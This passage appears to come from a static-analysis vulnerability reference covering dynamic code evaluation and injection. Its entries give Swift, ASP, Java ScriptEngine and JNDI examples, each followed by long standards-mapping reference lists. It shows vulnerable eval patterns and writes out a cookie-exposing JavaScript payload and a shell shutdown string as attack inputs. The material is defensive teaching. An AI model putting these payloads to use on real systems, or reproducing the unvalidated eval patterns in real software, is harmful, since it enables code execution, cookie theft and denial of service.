[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.dynamic_code_evaluation_code_injection
Abstract
Interpreting user-controlled instructions at run-time can allow attackers to execute malicious code.
Explanation
Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example 1: The following code uses input from a UITextField to dynamically change the background color of the content within a WKWebView:


...
var webView : WKWebView
var inputTextField : UITextField
...
webView.evaluateJavaScript("document.body.style.backgroundColor="\(inputTextField.text)";" completionHandler:nil)
...


The program behaves correctly when the UITextField input is a benign value, such as "blue", in which case the <body> element within webView would be styled to have a blue background. However, if an attacker provides malicious input that is still valid, he or she may be able to execute arbitrary JavaScript code. For example, because JavaScript can access certain types of private information such as cookies, if an attacker were to specify "white";document.body.innerHTML=document.cookie;"" as input to the UITextField, cookie information would be visibly written to the page. Such attacks are even more dangerous when the underlying language provides access to system resources or allows the execution of system commands, as in those scenarios injected code is executed with the full privilege of the parent process.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.swift.dynamic_code_evaluation_code_injection
Abstract
Executing arbitrary source instructions from an untrusted source can lead to malicious code execution.
Explanation
Many modern languages allow dynamic interpretation of source instructions. This ability can be used when the programmer needs to perform user supplied instructions on data but would rather utilize the underlying language constructs instead of implementing code to interpret the user input. The user supplied instructions are expected to be innocent operations such as small calculations on active user objects, modification of the state of user objects, etc. However, if a programmer is not careful, a user may specify operations outside of the programmer's intentions.

Example 1: A classic example application that may allow underlying programming constructs to be specified by the user is a calculator. The following ASP code accepts basic mathematical operations from the user to be computed and returned:


...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...


The program's intended behavior holds in an example where the operation parameter is "8 + 7 * 2". The strResult variable returns with a value of 22. However, if a user were to specify other valid language operations, those operations would not only be executed but executed with the full privilege of the parent process. Arbitrary code execution becomes more dangerous when the underlying language provides access to system resources or allows execution of system commands. For example, if an attacker were to specify operation as " Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')" a shutdown command would be executed on the host system.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.vb.dynamic_code_evaluation_code_injection
Abstract
Allowing unvalidated user-input to influence the run-time environment of dynamically executed code can allow attackers to execute malicious code.
Explanation
Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to execute dynamic operations based on input received from the user. Code manipulation vulnerabilities occur when the programmer allows some user supplied data to alter an aspect of run-time environment of dynamically executed code. Without proper validation, a user might specify operations the programmer does not intend.

Example 1: In this example, the application retrieves the script execution scope from the web application.


...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
ScriptContext newContext = new SimpleScriptContext();
Bindings engineScope = newContext.getBindings(request.getParameter("userName"));

userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps,newContext);
...


The program behaves correctly when the page_scope parameter is the expected username. However, if an attacker specifies the value for GLOBAL_SCOPE, the operations will have access to all attributes within all engines created by the same ScriptEngine.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2021 A03 Injection
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[30] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[31] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[32] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Process Validation (WASC-40), Improper Input Handling (WASC-20)
desc.dataflow.java.dynamic_code_evaluation_code_manipulation
Abstract
The program runs a JNDI lookup with an untrusted address that might enable an attacker to run arbitrary Java code remotely.
Explanation
If an attacker can control the address of a JNDI lookup operation, he may be able to run arbitrary code remotely by pointing the address to a server he controls and returning a JNDI naming reference to an RMI stored object with a custom object factory.

Example 1: The following code runs a JNDI lookup with untrusted data.


...
String address = request.getParameter("address");

Properties props = new Properties();
props.put(Provider_URL, "rmi://secure-server:1099/");
InitialContext ctx = new InitialContext(props);
ctx.lookup(address);
References
[1] Trend Micro How the pawn-storm zero day evaded Java’s click-to-play protection
[2] Standards Mapping - Common Weakness Enumeration CWE ID 502
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [13] CWE ID 502
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [12] CWE ID 502
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [15] CWE ID 502
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [16] CWE ID 502
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SA-19 Component Authenticity (P0), SI-10 Information Input Validation (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-7 Software Firmware and Information Integrity, SI-10 Information Input Validation
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements (L2 L3), 5.5.1 Deserialization Prevention Requirements (L1 L2 L3), 5.5.3 Deserialization Prevention Requirements (L1 L2 L3)
[15] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[16] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[17] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2010 A1 Injection
[20] Standards Mapping - OWASP Top 10 2013 A1 Injection
[21] Standards Mapping - OWASP Top 10 2017 A1 Injection
[22] Standards Mapping - OWASP Top 10 2021 A03 Injection
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
